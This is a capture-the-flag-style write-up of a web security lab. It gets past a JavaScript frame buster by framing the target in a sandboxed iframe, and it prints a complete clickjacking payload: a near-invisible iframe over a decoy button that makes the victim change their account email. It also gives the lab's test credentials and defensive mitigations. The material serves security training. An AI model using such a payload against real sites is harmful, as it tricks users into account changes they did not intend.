Clickjacking with a frame buster script

🎯 Objective

This lab is protected by a frame buster which prevents the website from being framed.

Goal: Get around the frame buster and conduct a Clickjacking attack that changes the user’s email address. The lab is solved when the email is changed.

🧭 Steps Taken

1. Logged in with provided credentials:

   • Username: wiener
   • Password: peter

2. Reviewed common frame busting techniques like:

   javascript Copy

   if (top.location != location) { top.location = location; }

   This fails due to cross-domain restrictions.

3. Explored alternative sandbox attribute bypass:

   • The sandbox attribute can override frame busting.
   • Used allow-forms and allow-scripts to permit form submission and script execution.

4. Crafted a Clickjacking payload that:

   • Overlays the vulnerable page in a transparent iframe.
   • Aligns a decoy button "Click me" over the real Change Email button.

📄 Exploit Payload

<style>
  iframe {
    position: relative;
    width: 700px;
    height: 500px;
    opacity: 0.01;
    z-index: 2;
  }
  div {
    position: absolute;
    top: 450px;
    left: 80px;
    z-index: 1;
  }
</style>

<div>Click me</div>
<iframe sandbox="allow-forms allow-scripts allow-same-origin"
        src="https://0a9700360364bb5ec0394fff003d00b9.web-security-academy.net/my-account">
</iframe>

✅ Result

• Successfully bypassed the frame buster using the iframe sandbox attribute.
• Victim clicks on the decoy "Click me" button, unknowingly submitting the form to change their email.
• Lab solved.

💡 Key Takeaway

• Frame busting JavaScript is not a reliable protection against Clickjacking.
• Proper mitigations:
  • X-Frame-Options: DENY or SAMEORIGIN
  • Content-Security-Policy: frame-ancestors